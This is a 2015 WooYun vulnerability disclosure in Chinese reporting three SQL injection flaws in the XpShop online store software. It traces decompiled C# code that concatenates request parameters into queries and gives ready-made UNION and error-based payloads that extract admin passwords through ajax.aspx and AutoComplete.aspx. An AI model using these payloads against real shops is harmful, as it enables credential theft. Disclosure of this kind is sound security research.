当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146746

漏洞标题:xpshop网店系统sql注入3枚打包

相关厂商:xpshop

漏洞作者: 不能忍

提交时间:2015-10-15 10:25

修复时间:2015-11-29 10:26

公开时间:2015-11-29 10:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-15: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-11-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

这是第二发

详细说明:

漏洞位置:XpShop.WebUI.AutoComplete

protected void Page_Load(object sender, EventArgs e)
{
string input = this.GetInput();
if (input == "")
{
base.Response.Write(Utils.ShowMsg("非法调用!"));
}
else
{
base.Response.Write(this.GetProductName(input));
base.Response.End();
}
}


跟进这个函数GetProductName:

private string GetProductName(string pname)
{
ProductDB productDB = new ProductDB();
return productDB.GetProductNameByAjax(pname);
}


继续跟进GetProductNameByAjax:

public string GetProductNameByAjax(string productName)
{
string commandText = "SELECT Top 15 ProductName FROM Product WHERE ProductName Like '%" + productName + "%' ORDER BY Sort DESC";
DataSet dataSet = XpShopDB.ExecuteDataset(XpShopDB.ConnectionString, CommandType.Text, commandText, null);
return dataSet.GetXml();
}


进库也是没过滤的,搜索型注入。
payload:
post:
pname=test%' union select password from admin--
漏洞地址:
namespace XpShop.WebUI.AJAX
代码:

private void BindActive()
{
if (base.Request.QueryString["parent_id"] != null)
{
this.BindChild(int.Parse(base.Request.QueryString["parent_id"]));
}
if (base.Request.QueryString["action"] != null && base.Request.QueryString["action"].ToString() == "del")
{
this.DeleteInstall();
}
if (base.Request.QueryString["type"] != null)
{
string text = base.Request.QueryString["type"];
if (text != null)
{
if (<PrivateImplementationDetails>{1D6FAB71-A022-4740-999F-97750306A650}.$$method0x6000444-1 == null)
{
<PrivateImplementationDetails>{1D6FAB71-A022-4740-999F-97750306A650}.$$method0x6000444-1 = new Dictionary<string, int>(32)
{
{
"GetResourceString",
0
},
{
"GetShippings",
1
},
{
"GetAddress",
2
},
{
"GetAreaIDByName",
3
},
{
"GetShippingName",
4
},
{
"GetMemmberMaxAddressCount",
5
},
{
"GetProductStatus",
6
},
{
"GetPreNextProductID",
7
},
{
"GetIsShopStop",
8
},
{
"GetMemberFavCat",
9
},
{
"AddToFav",
10
},
{
"UserLoginStatus",
11
},
{
"GetProductStatusByID",
12
},
{
"AddStockReg",
13
},
{
"CheckCoupons",
14
},
{
"AddShoppingCartCoupons",
15
},
{
"BindCoupons",
16
},
{
"GetNowPrice",
17
},
{
"DeleteFavPdt",
18
},
{
"UpdatePayment",
19
},
{
"AddNewFavCat",
20
},
{
"EditFavCat",
21
},
{
"DelFavCat",
22
},
{
"GetCurrentMemberID",
23
},
{
"GetCombineOrders",
24
},
{
"GetSubArea",
25
},
{
"GetStorage",
26
},
{
"UpdateCartNum",
27
},
{
"GetReceiveAddress",
28
},
{
"ConfirmReceived",
29
},
{
"ChangeScore",
30
},
{
"CheckGiftStatus",
31
}
};
}
int num;
if (<PrivateImplementationDetails>{1D6FAB71-A022-4740-999F-97750306A650}.$$method0x6000444-1.TryGetValue(text, out num))
{
switch (num)
{
case 0:
base.Response.Write(base.GetResourceString(base.Request.QueryString["str"]));
base.Response.End();
goto IL_7CF;
case 1:
{
string s = this.GetShippings(int.Parse(base.Request.QueryString["areaID"]));
base.Response.Write(s);
base.Response.End();
goto IL_7CF;
}
case 2:
this.GetAddress(int.Parse(base.Request.QueryString["said"]));
goto IL_7CF;
case 3:
this.GetAreaIDByName(base.Request.QueryString["AreaName"]);//第一处
goto IL_7CF;
case 4:
this.GetShippingName(base.Request.QueryString["ShippingID"]);
goto IL_7CF;
case 5:
this.GetMemmberMaxAddressCount();
goto IL_7CF;
case 6:
this.GetProductStatus();//第二处


跟进第一处函数GetAreaIDByName:

private void GetAreaIDByName(string areaName)
{
base.Response.Write(new ShippingAreaDB().GetAreaIDByName(areaName));
base.Response.End();
}


继续跟进函数GetAreaIDByName:

public string GetAreaIDByName(string areaName)
{
string result = "0";
string cmdText = "SELECT ShippingAreaID FROM ShippingArea WHERE [Name] = '" + areaName + "'";//进库
object obj = XpShopDB.ExecuteScalar(XpShopDB.ConnectionString, CommandType.Text, cmdText, null);
if (obj != null)
{
result = obj.ToString();
}
else
{
cmdText = "SELECT ShippingAreaID FROM ShippingArea WHERE [Name] LIKE '%" + areaName + "%'";//进库
object obj2 = XpShopDB.ExecuteScalar(XpShopDB.ConnectionString, CommandType.Text, cmdText, null);
if (obj2 != null)
{
result = obj2.ToString();
}
}
return result;
}


这两处都是进库,而且都是没有过滤的。
再来看看第二个函数GetProductStatus:

private void GetProductStatus()
{
string text = "";
string text2 = base.Request.QueryString["ProductNos"];
string[] array = text2.Split(new char[]
{
','
});
ProductDB productDB = new ProductDB();
ConfigDetails systemConfig = new ConfigDB().GetSystemConfig();
for (int i = 0; i < array.Length; i++)
{
array[i] = array[i].Trim();
SqlDataReader productStatusByNo = productDB.GetProductStatusByNo(array[i]);


继续跟进函数GetProductStatusByNo:

public SqlDataReader GetProductStatusByNo(string productNo)
{
string cmdText = string.Concat(new string[]
{
"SELECT Status,",
Utils.dbo,
"f_getstorage(productid) As Storage,IsForSale FROM Product WHERE ProductNo = '",
productNo,
"'"
});
return XpShopDB.ExecuteReader(XpShopDB.ConnectionString, CommandType.Text, cmdText, null);
}


这里也是没有过滤的,但是有个问题:
string[] array = text2.Split(new char[]
{
','
});
这里把传过来的值作,分割了,而且所使用的表select了三个字段,所以就没有办法用union注入了(反正我是没办法,大牛们就不知道了)然后遍历进库:
SqlDataReader productStatusByNo = productDB.GetProductStatusByNo(array[i]);
于是我换了一个办法,就不用,了
给出两个payload:
http://localhost/ajax.aspx?type=GetAreaIDByName&AreaName=test' union select password from admin--
http://localhost/ajax.aspx?type=GetProductStatus&ProductNos=test' and 1=(select top 1 password from admin)--

漏洞证明:

http://**.**.**.**//AutoComplete.aspx
pname=test%' union select password from admin--

3.jpg


http://localhost/ajax.aspx?type=GetAreaIDByName&AreaName=test' union select password from admin--

1.jpg


http://localhost/ajax.aspx?type=GetProductStatus&ProductNos=test' and 1=(select top 1 password from admin)--

2.jpg

修复方案:

过滤

版权声明:转载请注明来源 不能忍@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝